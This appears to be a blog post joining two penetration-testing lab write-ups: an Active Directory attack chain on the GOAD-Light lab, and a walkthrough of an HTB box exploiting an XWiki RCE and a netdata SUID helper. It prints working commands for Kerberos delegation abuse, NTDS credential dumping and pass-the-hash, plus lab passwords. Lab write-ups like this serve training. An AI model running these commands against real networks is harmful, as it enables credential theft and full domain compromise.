This was a great lab for practicing a realistic AD attack chain from zero credentials to domain admin.

Recon

First step was to nmap the environment. Since this was GOAD-Light, we only had 3 hosts to work with.

10.4.10.11 — Winterfell (DC1, north.sevenkingdoms.local)

Host is up (0.0022s latency).
Not shown: 986 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-27 20:47:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
3269/tcp open  ssl/ldap
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/wsmans?
Service Info: Host: WINTERFELL; OS: Windows; CPE: cpe:/o:microsoft:windows

10.4.10.22 — CastelBlack (SQL Server, north.sevenkingdoms.local)

Host is up (0.0024s latency).
Not shown: 992 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
80/tcp   open  http          Microsoft IIS httpd 10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/wsmans?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

10.4.10.10 — KingsLanding (DC2, sevenkingdoms.local)

Host is up (0.0022s latency).
Not shown: 985 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-27 20:47:47Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: sevenkingdoms.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap
3268/tcp open  ldap
3269/tcp open  ssl/ldap
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open  ssl/wsmans?
Service Info: Host: KINGSLANDING; OS: Windows; CPE: cpe:/o:microsoft:windows

Initial SMB Enumeration

With no credentials yet, the first thing I always try is SMB null and guest authentication. Null auth didn’t give much, but guest auth (empty password) was a different story.

Running through the accessible shares with guest auth, 10.4.10.22 (Castelblack) I found a readable file share containing a note referencing Arya — and more importantly, a password: Needle.

So now I have a password. The problem is I don’t know what username to pair it with. I assumed the user’s name was Arya but was not entirely sure how the usernames were actually formatted.

Building a Username List

Since this is a Game of Thrones themed lab, the user accounts are clearly named after GoT characters. I grabbed a list of character names from a GoT characters JSON file and piped it through jq to extract and sort the names into a flat list.

cat characters.json | jq -r '.characters[].characterName' | sort -u > characters.txt

From there I fed the character list into username-anarchy to generate realistic username permutations (first.last, flast, firstl, etc.) — the kind of formats corporate AD environments actually use.

./username-anarchy -i ~/HTB/ludus/GOAD-Light/characters.txt > ~/HTB/ludus/GOAD-Light/bruteforce_usernames.txt

With the wordlist generated, I ran it through Kerbrute to validate which usernames actually exist in the domain.

This confirmed valid accounts and also revealed the naming convention: first.last (e.g. arya.stark).

Getting a Foothold: arya.stark

Time to try the password Needle against arya.stark. I once again, nxc to test the credentials accross the network with smb.

Checking arya’s privileges revealed she has local admin rights on both Winterfell and CastelBlack.

From here I used her credentials to enumerate domain users:

nxc smb hosts.txt -u 'arya.stark' -p 'Needle' --users

This pulled back a solid list of accounts, including samwell.tarley.

BloodHound

At this point it was also time to run bloodhound, admittedly I should have done this as soon as I had creds.

After running bloodhound to collect the data and loading it into the BloodHound GUI, the attack paths became clear.

Arya isn’t particularly useful for further domain escalation — she has local admin rights apparently but no interesting AD object permissions. However, two other users stood out.

samwell.tarley has a path to Tier Zero (domain admin equivalent):

But the most immediately actionable finding: jon.snow is Kerberoastable (he has an SPN set) and as a Tier Zero account this basically means that if we can crack the users password, the domain is likely owned.

Kerberoasting Jon Snow

Kerberoasting works by requesting a service ticket (TGS) for an account with a Service Principal Name. The ticket is encrypted with the account’s password hash, which you can then take offline and crack.

Using arya.stark’s credentials, I roasted jon.snow:

Hashcat cracked the TGS hash and recovered jon’s password: iknownothing.

Constrained Delegation

Back in BloodHound, there was another important property on jon.snow: he’s allowed to perform constrained delegation to CIFS on Winterfell.

I’ll be honest, I still dont fully understand this next step, I had to follow Bloodhounds “Abuse” advice.

Constrained delegation means jon’s account is trusted to request service tickets on behalf of other users — including Administrator. This is exploitable via an S4U2Self + S4U2Proxy attack using Impacket’s getST.py.

getST.py -spn 'cifs/winterfell.north.sevenkingdoms.local' \
  -impersonate Administrator \
  -dc-ip 10.4.10.11 \
  'north.sevenkingdoms.local/jon.snow:iknownothing'

The resulting ticket can be added to our cc cache so that we can more easily present it with subsequent Kerberos requests

export KRB5CCNAME='Administrator@CIFS_winterfell@NORTH.SEVENKINGDOMS.LOCAL.ccache'

Finally (shown in the last step of the screenshot), we can simply use psexec.py with the -k flag to authenticate to the winterfell DC with this new Kerberos ticket

After poking around with our PS Exec shell, I realized I could also just dump ntds.dit since Impacket’s secretsdump.py also accepts Kerberos authentication. As a local admin on the DC this should be trivial

Dumping NTDS

secretsdump.py -k -no-pass north.sevenkingdoms.local/administrator@winterfell -just-dc

This gives us every user’s NT hash in the domain.

Now sitting on a full credential dump of north.sevenkingdoms.local. I tested these hashes cross-domain against KingsLanding (sevenkingdoms.local) via SMB, LDAP, SSH, RDP, and WinRM nothing landed there.

This is a worthwhile callout

As far as I could tell Kingslanding was not set up in GOAD-Light to work with the other hosts and accounts. Since there are no other GOAD Light writeups to reference, I had to assume that the “Light” install did not have the correct configuration to allow further exploitation of Kingslanding

But the SQL server at CastelBlack was still worth a try.

Lateral Movement to CastelBlack

Using the hashes from the NTDS dump, I tested them against CastelBlack with NetExec over WinRM:

nxc winrm 10.4.10.22 -u north_users -H north_hashes

The Administrator hash worked and came back Pwn3d!.

Full admin on CastelBlack. Both the primary DC (Winterfell) and the SQL server (CastelBlack) in north.sevenkingdoms.local are fully compromised.

Summary

The full attack chain:

1. SMB guest auth → found Needle password in a readable share
2. Username enumeration via GoT character list + username-anarchy + Kerbrute → discovered first.last naming convention
3. Credential spray → arya.stark:Needle valid, local admin on DC1 and CastelBlack
4. User enumeration with arya’s creds → found samwell.tarley and others
5. BloodHound → identified kerberoastable jon.snow with constrained delegation rights to CIFS on Winterfell
6. Kerberoasting → cracked jon.snow:iknownothing
7. Constrained delegation abuse (S4U2Proxy) → impersonated Administrator on Winterfell CIFS
8. NTDS dump → full domain credential dump
9. Pass-the-hash to CastelBlack → full admin

GOAD-Light is an excellent lab for practicing a realistic AD attack chain. The GoT theme is fun and the intentional misconfigurations — guest SMB access, kerberoastable service accounts, overly permissive delegation — are representative of what you’ll encounter in real environments.

User Flag

First lets get set up. Here is what I like to do at a bare minimum:

• fire up Burpsuite
• set up a VPN connection to HTB
• start HackerHelper
• add the target IP to my /etc/hosts file
• start the scan in HackerHelper

Once the scan completes, I see multiple references to Xwiki that immediately stand out as an interesting service to persue.

Nmap (nmap.txt)

# Nmap 7.93 scan initiated Thu Oct 16 20:34:24 2025 as: nmap -sS -A -Pn -sV -oN /tmp/nmap.txt 10.10.11.80
Nmap scan report for 10.10.11.80
Host is up (0.057s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open  http    Jetty 10.0.20
| http-webdav-scan: 
|   WebDAV type: Unknown
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_  Server Type: Jetty(10.0.20)
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.10.11.80:8080/xwiki/bin/view/Main/
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
...

Generally, a really easy win on HTB is to google if there are existing vulns or CVEs for any non standard linux/windows software you find. In this case, I simply googled xwiki github vulnerability and found CVE-2025-24893 which is an RCE in Xwiki.

The setup here is pretty straightforward. I cloned the repo and ran the exploit script against the target IP.

Note: I would recommend you spend some more time doing recon usually, but this is an easy box so I went straight to the exploit.

Boom! Wow that might have been the fastest shell I’ve ever gotten.

After some poking, I realized that this shell is really limited. I can’t do much with it so its time to upgrade.

The box reports it has python3 installed, so I’ll use this fantastic guide from ropnop here to upgrade my shell.

Addmitedly, this is usually the part I get stuck at - we have a low level shell but not user yet. Where do we go? Generally, the answer can be found in the service we exploit. Given that xwiki supports user accounts, I figured there must be a user account on the box we can use that maps to an xwiki user.

After poking and googling for a while, I found that xwiki database creds can be found in xwiki/webapps/xwiki/WEB-INF/hibernate.cfg.xml.

Ok cool, so we have a password. But where do we use it? I’ll be honest, I spent a while banging my head on this one. But I eventually remembered to check the /home directory since that the actual user we are trying to compromise here.

The only user on the box is oliver and while that user wasnt referenced in any of the xwiki files, I figured it was worth a shot to try the password we found on the user since port 22 is open and modern HTB boxes usually support SSH access once you’ve compromised a user’s password (thank god).

Awesome! We are in as oliver. Now we can grab the user flag.

Lets move on to Root.

Root

If you know me, you know I’m lazy. I did just 2 quick checks before running linpeas on the box for a privesc check

sudo -l
printenv

Neither of these returned anything useful (denied sudo access, no interesting env vars). so on to linpeas!

Unfortunately, linpeas didn’t find anything super useful either. However, I noticed that LinPeas had several references to a non standard service, netdata. And after also checking if there were any suid binaries on the box with find / -perm -4000 2>/dev/null, I found that netdata had a helper suid binary, ndsudo.

I’ll be honest, I had to google a hint here. This is a good reminder that non standard services should always be investigated for potential privesc vectors.

Googling netdata ndsudo privesc led me to this writeup which explained how to use ndsudo to spawn a root shell. From here it was pretty trivial, another POC on github (with a really good user interface) found here and we have root!